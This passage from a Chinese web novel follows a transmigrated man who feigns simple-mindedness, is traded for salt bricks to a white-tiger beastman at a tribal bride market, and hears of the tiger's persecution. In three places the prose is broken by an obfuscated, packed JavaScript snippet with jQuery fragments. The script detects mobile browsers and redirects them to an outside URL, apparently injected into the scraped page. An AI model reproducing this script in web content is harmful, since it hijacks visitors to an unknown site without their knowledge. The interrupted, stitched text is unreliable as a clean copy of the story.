风浅摘了两个类似无花果的榕属植物的果子,一掰开,果然,未经人工培育的果实,果肉里藏了不少蛋白质,根本没法吃。传说中每个无花果里都有一具榕小蜂的尸体,这回算是亲眼见着了。
扔了果子,越过两个小山丘,风浅吸了吸鼻子,空气里水分突然变多,还有硫磺味儿!
这是,温泉?!
想到这个可能,风浅也不再找吃的了,顺着硫磺味儿,直奔山下。
原主自从跟着换盐队从兔部落出发,七、八天了,根本没洗过澡!特别是进了沙漠之后,一天天就没怎么消过汗,身上又黏又臭,他是要疯了。
他甚至怀疑,下午被大白老虎凶了,除了他过于放飞自我,趁着傻劲,撸猫撸的得意忘形了,还有就是他身上的味道太难闻,被大老虎嫌弃了。大白老虎一身皮毛又滑又蓬,香喷喷的,一看就知道是个爱干净的,哪受得了他现在这个邋遢样子。
山下的温泉池子不小,雾腾腾地冒着热气。
风浅一口气冲到了池子边,小心翼翼地试了试水温,有些烫,但不至于不能忍受。踢了草鞋,两下解开身上的草裙,一气呵成,“噗通”一声跳进了池子里。
水花四起,整个人都飘飘然的,风浅抻了抻筋骨,懒洋洋的,喉咙里发出一声舒服的长叹。
“总算能痛快地洗个澡了。”
“嗯啊……太舒服了,干脆长水里得了。”
“没想到还能遇上温泉,可惜没有毛巾。”
“啊,肥皂也没有,这下真成赤条条一个人,白手起家了。”
“唉,等安定下来再说吧。”
风浅自言自语。一连装了两三日的傻子,疯疯癫癫的,多久没正常说话了,他都要憋死了,不禁有些话痨。
徒手搓澡,洗了身上,再就是头发。
兽人大陆,兽人一般是短发,除非兽形的毛特别长,化成人形的时候头发也会相应长一些。兽人的头发和兽形的皮毛一样,长到一定长度就不长了。而亚兽人的头发却可以长的很长。能切断头发的石刀和骨刀并不多,因此,很多亚兽人都是长发,枯草一样,乱糟糟的一团,头发油的能种地。
四周无人,风浅站在水里,撅着屁股洗头。
找到合适的石刀、骨刀之前,这头发他是想剪也剪不掉,至于用火烧,他可不想顶着一头烧焦的毛,还有一股子蛋白质烧焦的臭味。
4. “新娘集市”4
听到有人靠近,玄收回头顶的耳朵和水里的尾巴,敛起放松的神情,不悦地皱了皱眉。
他喜欢泡澡,暂时还不想离开热汤池子,但又不喜欢和别人走的太近。
听到那人跳进了水里,玄梗着背脊,一脸严肃。
温泉水独有的味道干扰了他的嗅觉,让他分辨不出那人的气味。
好在这池子很大,中间隔着巨石,形成天然的屏障,他看不到那人,只要他这边不发出大的动静,那人也注意不到他。互不影响,等那人走了他再出去。
下一秒,宽敞的池面上便游过来一个人。准确的说是从池子一边游到另一边,中途路过他面前。
游泳的姿势很漂亮,像条白鱼,乌黑的长发飘在水面上,水藻一样,还是个亚兽人。
野外森林,很少有亚兽人会落单,特别是洗澡,一般都是成群结队的。
玄拧起了眉头,这是哪家的亚兽人。这亚兽人光溜溜的,什么都没穿,他看了这个亚兽人的身子。
风浅以为是水花迷了眼,看花了眼,温泉水里还有美人鱼吗?不禁回头。这一看,是不是鱼不知道,但肯定是个美人。
该怎么形容,面似冠玉,眉如远山,目若朗星,清冷的像高山上的一捧雪。再美再夸张的词汇都描绘不出这人的十分之一、百分之一。
还是银白发!蓝星人均白毛控,这可是刻在基因里的!
“咳!咳咳……”
过于吃惊,风浅忽然呛了满鼻子满嘴的温泉水,“嚯”一声从水里站起来,捂着胸口咳。不知是温泉水热的,还是咳的,脸上脖子上泛着一层晶莹剔透的粉白。
孤兽寡兽的,白花花赤条条的亚兽人就和自己处在一个池子里,还没有过亚兽人,想在这次集市上找一个亚兽人伴侣的玄,耳朵有些控制不住的发热。
再仔细一瞧,玄的眉头不禁跳了跳,板着的脸更严肃了,这不是下午在集市上抱着他求□□的那个浪荡的傻子亚兽人吗!
玄扫了眼赤裸裸的风浅,迅速收回视线,浪荡是浪荡,但,傻?
他刚刚隔着石头听这人自言自语,虽然话语里有些奇怪的词,但也不像个傻子啊。
咳够了的风浅终于意识到自己正□□地站在一个陌生兽人面前,紧忙一屁股坐进水里,只留了脖子以上在水面。穿过来之后,他就能轻而易举地分辨出一个人是兽人还是亚兽人,就像分辨男女一样简单。
在这么个冷峻的大美人面前,出了这么大的糗,真是……
还好洗干净了才瞧见,不然自己刚刚那个邋遢的样子,直接就gameover了。
风浅脸上突然一红,刚刚自己撅着屁股洗头,没,没看到吧……
风浅把下巴也埋进水里了,只留了鼻孔出气,眼巴巴地盯着对面的白发美人,尴尬地解释,“那什么,真不好意思,刚刚没注意到这边还有人,你,你别介意哈。”
玄不动声色地看着水里的风浅,看他这神态,听他说这话,与下午集市上判若两人,更不像个痴傻的了。
玄没有立即接话,面上没有什么多余的表情,看着有些高冷,风浅以为这是不想理他了。虽然他很吃这款冰山美人1,但怎么看怎么有些棘手,容易把人惹翻脸。
爱美之心人皆有之,但看两眼,过过眼瘾也就够了,他又不是什么死皮赖脸的人,没了男人活不了。刚穿过来没几天,一箩筐的问题没解决,哪有心思谈情说爱。
风浅垂着眼,默默往后退了两步,小声嘀咕道,“那我还是回我那边去……”
“你不怕我了?”玄看着蔫了的亚兽人,突然问道。
风浅一愣,一头雾水,眨巴眨巴眼睛看玄,怕?怕什么?他为什么要怕美人鱼?
看这神情明显就是不怕了,不然,下午的时候也不会抱着自己那般蹭。玄不知为什么松了口气,耳朵突然动了动,听到远处有人过来的声音。瞅了眼水里光溜溜的亚兽人,犹豫片刻,还是提醒道,“洗完了,就赶紧把兽皮裙穿上。”
风浅一顿,脸上顿时煮熟的虾子似的,火辣辣的烧起来,紧忙潜去刚刚脱了草裙入水的地方。
他一个草裙还没穿完,就听身后“嗖”一声风响,美人鱼不知什么时候出了水,身姿矫健,只留一道残影,消失在丛林深处。
“啊,在这在这,快来啊,傻子亚兽人就在热汤池子这边呢。”
“是啊是啊,大家刚刚就看着他往这边山林里来了呢,怎么可能找错。”
“傻子还知道洗澡吗?”一个耳廓狐兽人幼崽跳到池边的树杈上,大大的眼睛盯着风浅,一脸好奇。
后面又一群幼崽叽叽喳喳地朝这边来,还跟着几个大人。风浅一眼就看见了气势汹汹的遥。
得,美色误事,光顾着看美人鱼了,出来一趟,就洗了个澡,什么也没干成。
遥是不是看他看得有点儿太紧了,这才出来多一会儿。
“不就放个水吗?怎么跑这么远?”遥冲到风浅面前,气哼哼地训斥。
风浅低着头,看自己的脚尖儿,一副小孩子做错了事的表情,揪着草裙上的干草,斯斯艾艾地说,“要咻咻,找不到地方,到处都是人……”
“遥阿叔说,亚兽人不能随便什么地方都咻咻,要找没人的地方。”
“我,我挑没人的地方去,走着走着,就到这里了……”
遥看着低头认错的风浅,无奈地深吸了口气。他跟个傻子计较什么!
风浅想到什么似的,眼睛突然一亮,抱着遥的胳膊,指着身后的温泉,“阿叔,水,热的,洗澡,舒服!”
遥回头看了眼池子,这热汤池子他知道,温度不是很高,很适合泡澡,不过今天来不及了,他打算忙过这几天,把部落里的亚兽人都送出去了,再来放松放松。
遥拍了拍风浅后背,“行了,回去吧。”风浅把自己洗干净了也好,更水灵了,或许明天集市上就有能看中风浅的兽人呢。
风浅跟着遥一众人回了集市上落脚的茅草屋。
他这出去一趟的工夫,再回来,不算他,换盐小队里就只剩两个亚兽人了。
两个亚兽人正在煮野菜汤,一大锅晒干的野菜,再加几片咸肉。另一个陶锅里煮了一锅的麦籽饭。煮麦籽饭的陶锅架在茅草屋外,浓浓的麦香飘在集市上,这是为了吸引更多的人来换麦籽。
麦籽不单单兔部落有,但兔部落会人为的种植,不只靠自然繁殖和采集,时间久了,麦籽就成了兔部落的特产,量大,品质还好。
兽人大陆的麦籽不同于蓝星上任何一种麦子。这里的麦籽介于麦子和竹子之间,多年生,两米多高,也是结麦穗,麦籽外面有一层硬壳,每个麦籽都有花生粒大小。带壳煮熟后,剥壳吃。
风浅喝了碗咸肉干菜汤,也分到一把煮熟的麦籽剥着吃。麦香很浓,但又有点儿像白米饭,细品还有点儿甜味,总之是一种禾本科,富含淀粉,能补充碳水和能量,可以做主粮,很有发展前途的作物。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040077|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
翌日。
天刚放亮,集市上各个茅草屋便炊烟袅袅,开始了一天的忙碌。
一早,先是有几个换完物资的部落离去,又有一个刚刚赶到的部落。这个部落先是在沙漠里迷失了方向,遇到了流沙,又遇到了打劫的流浪兽人,部落里的物资被抢了一大半,还有不少人受伤,这才耽误了来集市的时间。
各部落用完了早食,集市上的交易再次开始。
茅草屋外,风浅又看到了昨天的大白老虎。想到这老虎昨天发威的样子,风浅只觉得背脊发凉,顿住脚,往后挪了挪,离得远了些。
真是又危险又迷人的生物。
这次,大白老虎背上多了个兽皮袋,身边除了有昨天的中年兽人外,还多了一个年岁不是很大,但也不是很年轻的女性亚兽人。
风浅听着这位女性亚兽人和遥交谈,得知大白老虎所在的部落是位于沙漠东边的黎山部落,这位女性亚兽人叫雪晴,负责黎山部落里亚兽人大大小小的事情。
黎山部落的兽人兽形比较凶猛,十分擅长捕猎,部落的生活还算富足,但幼崽和亚兽人的数量一直不多,每年都要来集市上相看几个亚兽人带回去才能满足部落内成年兽人的婚配需求。
他们这次集市已经从鼠族、鹿族、羊族各挑了一人,现在打算再从兔族挑一个。
风浅耳朵听着雪晴和遥讲回礼的事,眼睛却时不时地往大白老虎那边瞄。他昨天差点儿葬身虎嘴虎爪,对这白老虎是有些顾忌了,也不敢正大光明地盯着打量。
没有了昨天被他轻薄惹恼的戾气,这大白老虎的眼神神情竟有几分像昨天的美人鱼,一样的俊美高冷。
他怎么会从一张毛茸茸的老虎脸上瞧出美人鱼的表情呢。看错了吧。
突然听到雪晴和遥似乎说到了自己,风浅不禁转头向两人看过去,就听雪晴问一旁的大白老虎,“玄,你真的想好了,想要这个亚兽人吗?”
“这亚兽人天生的脑子笨,你们以后若是生幼崽的话,怕是不好。你若是缺盐砖的话……”
“不用,就他了。”玄打断雪晴的话。
雪晴是他兽人父亲哥哥的孩子,小的时候,他刚被赶出部落那会儿,雪晴背着祭司,没少给他带吃的。他们部落的祭司小心眼,因为这事,常常给雪晴使绊子。他不能再拖累雪晴,而且他真的不缺盐。
“是不是因为他昨天抱了你,这种情况,你也不用……”雪晴还想劝,又被玄打断。
“不是。他笨一点儿,我才省心。”玄解释。
风浅不可置信地盯着即将成为他伴侣的大白老虎,这么当着面说他笨好吗,那恐怕要让大白老虎失望了。只要离开兔部落,他没打算继续装傻的,更没打算真和这个便宜老攻过日子。虽然他挺馋大白老虎的身子的。
雪晴想劝玄放弃,遥却是恨不得立马和玄谈成这桩婚事。
“风浅虽然是个笨的,但他将来生的崽儿未必就不好。他双亲可都是顶顶聪明的人。风浅的兽人父亲可是我们部落的前任祭司呢,是我们部落最聪明的人。只是祭司生风浅的时候年龄已经大了,没几年就过世了,风浅这才去了集体山洞。”遥将风浅因为傻被遗弃的事美化了一番,改成是因为祭司过世才去了集体山洞。
听到风浅的父亲是兔部落的前任祭司,雪晴有些松动。每个部落的祭司都是最聪明智慧的人,是兽神选定的使者,风浅有这样的兽人父亲,或许真的没有大家想的那般痴傻不堪。
5. “新娘集市”5
大白老虎从背上的兽皮袋里叼了两块盐砖摆在遥面前的石板上,遥给风浅装了半袋子麦籽带走,风浅就这么被“嫁”了出去。。
虽然和他计划的有些不同,但能离开熟悉原主的兔部落,风浅还是松了口气,终于不用继续装傻演别人了。至于这个新鲜出炉的兽人老攻……
风浅眼角余光瞄了眼身旁的大白老虎,这老虎身姿矫健,没有一丝赘肉,一身的皮毛油光水滑,手感可好了。还有那对萌萌的圆耳朵,肉乎乎的大爪子,身后长长的大尾巴比他手腕还粗。
馋死人了。
这要是做宠物,那真是极好极好的。但做老攻……
他还没见过白老虎的人形呢,刚刚陪着白老虎和雪晴的中年兽人为了做事方便都用的人形,这白老虎却是用嘴叼的盐砖。
风浅有些不妙地看了眼白老虎,不是化不了人形吧。他记得兔部落就曾出现过不能化形的兽人,最后被撵出了部落,生死不明。
若是不能化人形……
又是下蛋抱窝,又是人兽的,这也太重口了吧,严重超出他的承受范围了好不好。
虽然,他也没真的想和这白老虎做夫夫就是了。
这么一想,又觉得这不能化形的白老虎有些可怜,人财两失,花了盐砖,老婆还要跑路。
风浅看着白老虎圆圆的耳朵有些手痒。
“那什么,我叫风浅,你是叫玄吧。”风浅没话找话。
走在旁边的大白老虎淡淡地“嗯”了一声,左侧圆圆的虎耳弹了下,看得风浅眼热。
“那你家,还有别的兽人吗?”风浅问。
兽人大陆亚兽人数量稀少,为了繁衍,很多即将成年的兽人,关系好的几个会组成一个小家庭,共同拥有一位亚兽人伴侣,少数情况,族长或者祭司,或者捕猎厉害的兽人,可能会独自拥有一位或者几位亚兽人伴侣。
他没想跟着大白老虎回家,这么问也就是好奇。
玄突然停住脚步,抬了抬眼皮,板着脸,回头看风浅,“我一个人,能养起你。”
忽然想起亚兽人昨天放浪的行径,玄琥珀色的虎眼微眯了眯,警告道,“我不在部落住,洞里也没有别人。我不喜欢别人动我的东西,所以,你往后只能有我一个伴侣。”
“你是我的伴侣,以后,我会养你,洞里的东西你也随便使用。但不能和别的兽人走的太近。若是让我发现你和别的兽人有了不该有的关系,我不会饶了你们。”
蓦地,又觉得突然对尚未做错什么的亚兽人伴侣发火有些不妥当,好不容易遇到一个不怕他的,再把人吓破了胆子。
玄的语气稍有缓和,解释道,“虎族,多数都是一个伴侣。”
风浅点点头,表示理解。动物界,虎的领地意识就很强,会驱赶领地内有威胁的野兽。所谓一山不容二虎,除非一公和一母。到了兽人大陆,就成了一个兽人和一个亚兽人了。
这大白老虎的婚姻观和脾性,倒意外合了他的意。一对一,坚决不乱搞男男关系。
风浅更想摸大白老虎的耳朵了,还有两撇浓密纤白的胡须,都说老虎的胡须摸不得,不知道亚兽人伴侣能不能碰。
风浅笑笑,“那正好,我也不想要那么多伴侣。”
大白老虎满意地点点头。
两人的关系近了不少,大白老虎还挺好说话的,风浅胆子大起来,忍不住试探,“玄,你怎么不化成人形啊。我都没见过你人形。”
大白老虎又顿住脚步,回头看风浅,“回了山洞,等你真的成了我的亚兽人,自然会给你看。”
这么说就是可以化成人形?风浅一时拿不准。有人形却不给看,是太丑?
但这么俊俏一只大老虎,化成人形怎么会丑?
越不给看,风浅越心痒,要不然先跟着大老虎回去,看了再跑路?
“为什么要装傻?”玄突然问。
风浅一愣,眨了眨眼,没想到玄这么快就发现了。虽然他已经没想再装傻了,但现在怎么编?
“那什么,以前确实傻,来的路上吃了一棵草,睡一觉,突然就不傻了,你信吗?”风浅问。
玄沉默片刻,似乎在考虑风浅话里的真实性,“那你运气很好。但不要再和别人提起这件事了。”
风浅愣愣地点点头,这就信了?原始人真好糊弄。
不过,他也没完全骗人。末世的时候,不光动物变异,很多植物也跟着变异。基地里确实有过一个从小痴傻的孩子,饿急了,什么都往嘴里塞。一次,跟着采集队去城外的森林找吃的,第二天,人就不傻了,还变得很聪明,甚至觉醒了异能。
据小孩回忆,那天吃了一棵特别漂亮的草,小草周身泛着五彩的光芒,吃起来没什么味道,但吃了之后身体特别舒服,应该就是那棵草的原因。
之后,基地成立了专门的采集队,去森林里找泛着光芒的变异植物,陆陆续续找到一些,每种变异植物都有不同的功效。
有人猜测,这些变异的植物就是传说中的仙草灵药,只要熬过末世,接下来,很可能会进入一个灵气复苏的时代。
很可惜他没熬过去,能量核自爆穿到了这里。
说是穿越,他这种情况其实就是夺舍重生吧。
“可能要让你失望了。”风浅没头没脑的感叹了一句。
“嗯?”玄没明白他突然说这话是个什么意思。
“你不是喜欢傻的,省心吗。”风浅问。
玄顿了顿,昨天热汤池子那会儿他就已经猜到风浅不傻了,不过随便找了个借口搪塞雪晴。
风浅不傻不笨,用两块盐砖就娶了这么个漂亮出挑的亚兽人,他算是赚到了。
或许以后可以对风浅更好一些。
“都一样,笨有笨的好,聪明也有聪明的用处。只要你是我的亚兽人,我就不会嫌弃你。”玄解释。
风浅高兴了,原始人果然还是很淳朴的。手都没牵,什么都没做呢,就愿意给承诺了。不像现代人,提了裤子翻脸不认人。风浅现在都有些舍不得跑路了。
娶风浅只花了两块盐砖,玄有心想补偿风浅,于是问,“要不要逛逛集市,看看有没有喜欢的,或者能用得上的。”
风浅自然愿意,不买,开开眼,了解了解这个世界的发展水平也行啊。
大多数部落都是来跟盐咸部落换盐的,但也有些部落会带自己部落的特产过来与人交易,像兔部落的麦籽就很受欢迎。
集市上也有开朗大胆的兽人在吆喝卖货,初具末世前蓝星乡下集市的雏形。
“啊!”风浅突然停在一个摊位前,有些不敢相信自己的眼睛。他竟然在兽人大陆看到了红薯!就是个头比蓝星上的大。
玄看了眼摊位上的地甜果,这东西他在很小的时候吃过一次,除了甜没有什么特别的味道,但很多亚兽人喜欢。亚兽人就是喜欢这些一点儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040078|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不顶饿,但有甜味儿的果子。
摊位上的地甜果剩的不多了,还陆续有人过来买。都是捡十个、八个,带回去给家里亚兽人伴侣和幼崽尝鲜的。
玄从背上的兽皮袋里叼了一块锋利无比的兽骨,这兽骨很适合做骨刀。
玄把兽骨放在摊位上,问摊主,“够不够,这些地甜果都要了。”
摊主的兽形是草食动物,擅长采摘,但很难捕到大型动物,看这兽骨自然十分稀罕,连忙道,“够够够,怎么会不够呢,都给你。”说着,又从脚旁的兽皮袋里翻出不少。
风浅没想真给玄做老婆,他还要跑路呢,已经让玄浪费了两块盐砖,哪还愿意再让玄破费。
“玄,不用了,我就是看到这……”风浅顿了下,想起刚刚玄叫这红薯地甜果的,于是继续说,“我就是惊奇,集市上竟然有地甜果,没想买的。”风浅推辞。
见玄不为所动,风浅又说,“其实,我更喜欢吃肉的,你信不信。”
玄这回看了眼风浅,他也没说不给亚兽人吃肉啊,只是亚兽人还喜欢吃些奇奇怪怪的果子和各种野菜,不像兽人可以完全只吃肉。
“兽皮袋里还有很多肉干。我很会打猎,家里不缺肉。你以后可以随便吃。”
玄看着风浅,觉得只说不干好像没什么信服力,于是把爪子伸进兽皮袋里,转瞬的工夫就掏出一小袋肉干放在风浅手里。
“吃吧。还有。”
末世几年光吃蔬菜瓜果了,偶尔分到一两口不知存了多少年的陈年罐头肉常常泛着一股馊臭味儿。风浅看着手上还能闻到肉香味儿的新鲜肉干,刚出锅似的,馋死人了,不禁咽了口口水。这肉干可比昨天盐咸部落送的闻着好吃多了。
穿过来之后,也吃了些肉腥,可非但没解馋,倒把肚子里的馋虫都勾出来了。就等着过几天出了沙漠,跑路后,自己寻个地方,抓些野兽大吃大喝呢。
风浅被肉干馋的有些动摇了。堕落地想,末世打打杀杀这么多年,其实能做棵菟丝子也挺好的,缠上玄这样的金大腿,这辈子都不愁没肉吃了。
他现在异能没了,兔宝贝也召唤不出来,要想抓野兽谈何容易。而且,按着兽人大陆的规矩,玄给了兔部落回礼,他就算玄的亚兽人了。入乡随俗,他和玄,合法合规合习俗。
不行不行,风浅赶紧把这些堕落的想法甩出脑袋,可不能因为一包肉干就把自己卖了,他以后一定要把玄的两块盐砖还回去。
玄给了风浅肉干,又去接摊主给的地甜果,一股脑全塞进兽皮袋里。
“全装下了?”风浅有些惊讶。没想到这大白老虎还是收纳小能手。摊主把摊位上的地甜果全给了玄,他瞧着那堆怎么也得有个四、五十斤,竟然全被玄装进兽皮袋里了。兽皮袋这么能装吗。
“嗯。拿了一包肉干出来,正好腾出地方了。”玄说着又把兽皮袋背到身上。
风浅去帮他,发现兽皮袋装的沉甸甸的。
从盐咸部落回黎山部落,因为要穿过大沙漠,这一路至少也要走十来天,背这么大袋子东西得费多少力气啊,千里不捎针,可玄还给他买这么多地甜果。
风浅眼神晦暗,抿抿嘴。大白老虎凶是凶,但对伴侣还是很好的。相比玄,时刻想着跑路的他,实在是……
“走吧,再去其他摊位看看。”玄说。
风浅跟上去,这次注意了,不管看到什么惊奇的东西绝对不停下来。
6. “新娘集市”6
“这蚕丝布真漂亮。”
“我什么时候能有这么一身衣服就好了。”
“让你家兽人给你买啊。”
“你可以跟部落的兽人说,谁能给你准备一套蚕丝布衣服,你就最先跟谁睡。”
被取笑的亚兽人忽然冷了脸,一把推开眼前的亚兽人,气哼哼地跑了。
旁边的人看不过去了,责怪道,“丽,你怎么能这么和部落里未成年的亚兽人说话。”
叫作丽的男性亚兽人一脸的不在乎,“哟,哪里来的老婆子,还来教训我了。”
丽轻蔑地瞅了那人一样,转身跟卖蚕丝布的兽人说,“给我那条粉色的布,整块,我都要了。”
“这条布要二十块盐砖,只收陶器和盐砖。”卖布的兽人解释。
丽顿了下,没想到这么贵,但又碍不下面子不买,他也实在喜欢这块布。
“行,你给我留着,我回去拿盐砖,下午再来。”二十块盐砖,远远超过了他可以随意支配的数额,得等兽人伴侣中午从盐矿回来,好好商量商量。
蚕丝布一挂出来就吸引不少人过来围观,只是价格贵,买的人也不多,大都是盐咸部落和有陶部落的人。
风浅和玄这时也逛到了这边。
一看,这摊主可不就是今早才来,路上遇了流沙,又被流浪兽人打劫的那支队伍吗。身上拿着这么贵重的东西,怪不得遭人惦记。
“这是哪个部落?”风浅问玄。
“蚕桑部落。他们部落的兽人兽形大多是蚕或者蝴蝶,蜘蛛,擅长织布。”玄解释,“他们不常来集市,一次换很多盐,两三年才会来一趟。”
“兽形是蚕和蜘蛛?”风浅问,“那怪不得会织布呢。”
在兽人大陆,蚕丝布可以说是身份的象征。许多人都为能拥有一身蚕丝布的衣服为荣。
除了盐咸部落或者有陶部落这样产盐、产陶的富庶部落,其他部落,整个部落也很难凑出一身蚕丝布衣服。
黎山部落的祭司前些年倒是凑了一身,但也只有在祭祀或者重大仪式的时候才舍得穿。他穿蚕丝布衣服的时候更是不让别人近身。
这蚕丝布尤其受亚兽人的青睐。很多亚兽人终身的梦想就是能拥有一块漂亮的蚕丝布,哪怕不够做衣服,装饰在头上或者身上也是好的。
玄看了眼挂着的蚕丝布,又看看已经走远了风浅。
蚕丝布只有带颜色的限定用陶器或者盐砖换,白色的相对便宜,可以用兽皮、兽骨等其他东西交换,也不是完全买不起。
玄回头瞄了眼自己背上的兽皮袋,还好他每次出远门都会把家里所有的东西带上。但背上的兽皮袋太小,若是现在突然抽出一大卷兽皮,怕是要让人怀疑了。
集市不大,逛了一圈,玄领着风浅回了自己的茅草屋。
“你自己住?”风浅看了眼隔壁的茅草屋,他没看错的话,隔壁那间才是黎山部落的茅草屋。盐咸部落会给来集市换盐的部落提供免费的茅草屋,但一个部落也就一间。
“嗯,用一张兽皮换来的。”玄解释,又对门外的风浅说,“屋里有些乱,你先在外边等一下。”
男大单身宿舍什么的,风浅可太了解了,笑着应道,“行啊,我就在外边等着。”
玄一头扎进茅草屋,窸窸窣窣的,过了一会儿才探出头,招呼风浅进屋。
屋里意外的干净整洁,只一角并排摆了两个兽皮袋,其中一个是刚刚玄背上背的。
把风浅让进来,玄又把两个兽皮袋全背到背上,风浅过去帮忙。
玄嘱咐道,“你好好休息,部落明天一早离开。我再出去换点儿盐。”
玄一走,茅草屋便空了下来,只剩风浅一个人,这可是跑路的好机会。玄还给他留了一个装满水的水囊,一包肉干,三个红薯。这是连路上吃的干粮都给他准备好了。
风浅站起来,又坐回去,犹豫不决,他若这么一声不吭地走了,大白老虎也太可怜了。
骗婚,骗财,骗感情,这是什么渣滓,根本不是人能干出的事。他要走,也得跟玄好好说清楚。
“隔壁那屋的,是和咱们一个部落的?”茅草屋外突然响起一阵轻柔的声音,听声音该是一个亚兽人。
“也不算。以后进了部落可离那个煞星远点儿。”一个粗犷地声音嫌弃道。听语气,该是黎山部落换盐队里的兽人。
风浅皱了皱眉,他家大老虎在部落的人缘好像不太好啊。
“你见过哪只老虎是白色的?大家都是黄毛黑纹,偏他是白毛。妖里妖气的,可不就是个怪物、异类。”
说话的兽人一脸不屑,高高在上的,语气听起来欠揍的很,风浅突然就想出去揍人。
“还记得二十多年前的那次‘星现’吗?半夜里,忽然亮如白日。西方天空出现了一颗比日还要耀眼的星,这颗星在天上足足亮了八十一天。”
“好像是有这么回事。”亚兽人略微迟疑。他今年二十,刚刚成年,二十多年前的事只是从部落的老人嘴里听说过。
“这怪物刚好在那颗星亮起来的时候出生,星星灭了的时候,他又刚好破壳。孵出来就是一只怪异的白虎。要不是他父亲那个时候是部落族长,就该听祭司的话,淹死这只怪物。”
“别人都是九十天出壳,他八十一天就出壳了?是不是算错了?”亚兽人疑惑道。
“要不说是怪物吗。他提前这么多天出壳,一出壳就比寻常的幼崽硬实。从出生开始,就处处透着怪异。自从他出生以来,部落里就没安生过。”
“他一岁的时候,森林里闹了虫灾,所有野菜野果都被啃没了,那年冬天饿死好多人。两岁的时候,亚兽人母亲受不了生了这样一个怪胎,跑了。”
“三岁的时候,雨季洪水泛滥,森林里全是水,淹了多少山洞。五岁的时候,森林中的树被雷劈了,大火险些烧到部落里。八岁的时候,雪季,部落里遭了流浪兽人偷抢,两方战斗,他兽人父亲被流浪兽人弄死了。”
“他兽人父亲一死,在祭司的主持下,这才把他撵出了部落。部落里终于过上了安生的日子。不过,继任的族长是他父亲哥哥的孩子。也就只是把他撵出部落,让他在部落外边住着,并没有把人彻底赶出部落领地。”
“所以,你们进了部落,还是能经常看到他,离他远点儿就是了。接触多了,容易沾晦气。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040079|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话的兽人贪婪地望着玄的茅草屋,舔了舔干裂的嘴唇,他刚刚瞧见了玄带回来的亚兽人,虽然听说是个傻的,但那小脸,真带劲儿啊。
听说这个兔族的傻子亚兽人行为放浪,昨天下午当众又蹭又贴,对着玄求□□……
可惜他打不过玄,不然……
兽人眼色一暗,带着狠劲儿,恶毒的想,傻子配怪物,这俩也算绝配了。
风浅自然不知道这兽人心里肮脏的想法,他听这兽人的描述,觉得玄出生的时候很可能是赶上了超新星爆发。
恒星寿命悠长,在同一片大陆上,可能几千年都观测不到一次。这明明是一件很幸运的事,到了这些人嘴里,怎么就成了怪异。
至于白毛,末世前蓝星上白虎的数量可不少。往上古追溯,人家还是四方神,四灵,四象,西方天空星宿之主,高高在上的神君,岂是这些人能碰瓷的。
至于虫灾、洪水、火灾,这些不过自然现象,即使科技水平到了末世前的蓝星,在这些自然灾害面前也只能做到尽可能的减少伤亡损失。这些事,又如何能怪到一个幼崽身上。愚昧,愚昧至极。黎山部落的祭司肯定不是什么好鸟。
风浅气闷地想。只恨自己怎么没穿到十几年前,亲手把小白老虎养大。八、九岁的幼崽,失了父亲的庇护,又被部落赶出去,这是怎么活下来的。
幼时这么坎坷,成婚的时候又遇上他这么个想跑路的。玄这简直就是来人间历劫,尝八苦的,步步是坑,处处是坎儿。
他刚刚若一抬腿走了,这不是把人往死里、往疯里逼吗。
风浅叼着肉干,干脆不走了,生火烤红薯。
跟谁过不是过,反正他家白老虎也说了,家里就两个人,在这婚配制度乱七八糟的兽人大陆,玄这样的,都是一股清流了好不好,提着灯笼都找不到。
可惜了他的美人鱼了,就瞧了那么一眼,说了那么两句话……
以后再见,也只能是陌路人了。
红薯飘了香,外皮上渐渐冒出金黄的焦糖,屋里空气都跟着变得香甜了。
“什么味道,这么香。”屋外的亚兽人惊叹。
“没见识的穷酸货,不过是地甜果,这都不知道。”集市上路过的一个亚兽人嘲笑道。
若是风浅出来便能认出,这正是要买那条粉色蚕丝布的亚兽人丽,此时他后头跟着一个高大的兽人,兽人手里提着一袋子沉甸甸的盐砖。
丽转头看身边兽人伴侣的时候立马换了副嘴脸,巧笑嫣然,“上午的时候,我也看到卖地甜果的摊子了,那东西好沉,我一个人也拿不动,一会儿买完了蚕丝布,咱们也去那摊子上买点儿。”
丽说完了,炫耀似的朝黎山部落门口的亚兽人扬了扬下巴。
屋里的风浅挑了挑眉,红薯都被玄包圆了,这位亚兽人怕是要空欢喜一场了。
风浅细细地烤着红薯,他一个,玄一个,红薯一烤完,玄便从外边回来了。身上的兽皮袋只剩了一个。
“回来啦。”风浅笑道。
玄看着风浅,愣怔片刻,有人等他回来的感觉很新奇,很好。
“嗯,我回来了。”
7. 路上(捉虫)
